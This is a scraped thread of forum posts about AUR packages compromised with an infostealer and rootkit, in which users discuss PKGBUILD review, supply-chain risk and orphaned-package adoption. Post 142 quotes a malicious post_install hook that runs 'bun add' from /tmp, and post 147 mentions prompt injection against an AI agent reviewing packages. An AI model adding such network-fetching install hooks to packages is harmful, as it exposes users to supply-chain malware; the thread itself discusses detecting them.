Would using traur have prevented this attack?
AUR packages compromised with Infostealer and Rootkit
141–150 of 234 posts
Re: AUR packages compromised with Infostealer and Rootkit
#142Earlier quoted context omitted.
> isn’t that also the case for every browser extension, VSCode extension, nuget package, Cargo crate, python package, npm package Yes, and all of those have supply chain hacks in them, and have happened within the last year? In this specific case, it's a malicious npm package being installed with official npm tooling in the PKGBUILD. The advantage to the AUR is just that you can reasonably review every PKGBUILD for w…
Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:
> install=toggldesktop-bin-deps.install
And the toggldesktop-bin-deps.install contains this:
> post_install() {{
> cd /tmp
> bun add axios uuid ora js-digest
> }}
Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.
Re: AUR packages compromised with Infostealer and Rootkit
#143Re: AUR packages compromised with Infostealer and Rootkit
#144People need to get into their heads that the AUR is just a collection of user-produced PKGBUILDs. You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why. A lot of people complain abo…
Yeah, I don't even use the AUR. If I need something, I'll just build it myself. Convenience is dangerous.
Re: AUR packages compromised with Infostealer and Rootkit
#145People need to get into their heads that the AUR is just a collection of user-produced PKGBUILDs. You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why. A lot of people complain abo…
> AUR is just a collection of user-produced PKGBUILDs.
Is that much different from the entire pypi ecosystem, and npm, and dockerhub (people disable Selinux, --privileged turns off seccomp and apparmour, sandbox escape CVES exist)?
Re: AUR packages compromised with Infostealer and Rootkit
#146Earlier quoted context omitted.
"Hey, let's take down all of npm, because there's a package that installs something malicious, and some people may install it without reviewing it first. The thousands of other people relying on this service can wait." Do you not realize how crazy of an request that is?
You do realize that the people relying on the service also get served wormable malware, right? The service is already disrupted. It is not that a disruption could be _avoided_. The discussion makes no sense. ___ Hell, even if I would be completely wrong in that assessment (not sure how, but let's assume that's the case) You can still put up a banner. "Hey, FYI: We're under attack". If not right away, then at the very…
> You do realize that the people relying on the service also get served malware, right? The service is already disrupted.
Huh? No they don't. I'm not sure what part of the attack your misunderstood, but most people are going to be completely unaffected by this. None of the infrastructure or anything like that got compromised. I updated my AUR packages 2 hours ago, and didn't get served any malware.
Again, there's probably some kind of malware on npmjs at any given time. You don't just shutdown the entire server because of that, that's madness.
Re: AUR packages compromised with Infostealer and Rootkit
#147Earlier quoted context omitted.
> hasn't happened earlier. it happens all the time Just not always on this scale and doesn't always end up on HN. Similar to how you don't see every npm supply chain attack or malicious github action or similar on HN. In general you _have to_ manually review every PKGBUILD update by hand (by diff). Everything else is neglect IMHO. Luckily for most packages this is reasonably doable, IFF you trust the upstream sources…
I have opencode review it for me. Works great. With the opencode-pty plugin it operates a terminal like a human would, runs yay, opens the pkgbuild in vim when yay asks it, reviews, etc etc. gives an `n` at the end cancelling the operation and gives me a report. I read that and then upgrade. For non-famous 3-4 aur packages I have, I have it read the code itself. It's enough to catch the non-jia-tan problems.
You know that prompt injection is a thing, right? Giving opencode access to bash and malicious input is not very far from piping it right into bash.
Re: AUR packages compromised with Infostealer and Rootkit
#148People need to get into their heads that the AUR is just a collection of user-produced PKGBUILDs. You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why. A lot of people complain abo…
> AUR is just a collection of user-produced PKGBUILDs. Is that much different from the entire pypi ecosystem, and npm, and dockerhub (people disable Selinux, --privileged turns off seccomp and apparmour, sandbox escape CVES exist)?
Not much different no, and people have equally bad practices around programming package managers as well.
The entire dev ecosystem has terrible security hygiene, largely because of the pressure to move fast and real security controls by their nature limit flexibility and can slow most processes down.
Re: AUR packages compromised with Infostealer and Rootkit
#149Earlier quoted context omitted.
> For every single update, for all your AUR packages, all the time. Yes, that's what I used to do when I ran Arch. It's usually easy. The PKGBUILD is usually small to begin with and the difference for a new version should normally be something like the URL and the version number and not much else, so you can just diff it against the old version.
I do it too, but I can see why this can be a problem for users. There should be an "official" scan for potentially malicious changes. I use a third party AUR scanner to help me with this.
What third party scanner do you use?
Re: AUR packages compromised with Infostealer and Rootkit
#150This campaign is still ongoing. I just got an email that one of my old packages (which hasn't worked for years and was orphaned for a while) was adopted and immediately a malicious commit was pushed. They seem to be using bun instead of npm now, so any npm-based workaround likely isn't effective. https://aur.archlinux.org/cgit/aur.git/commit/?h=toggldeskto...
I'm wondering at this point if the idea of adopting orphaned packages is broken and should be removed.
Inconvenient, but perhaps instead of allowing adoption of someone else's abandoned package, the AUR forces a new submission instead and regularly purges orphaned packages older than a certain age?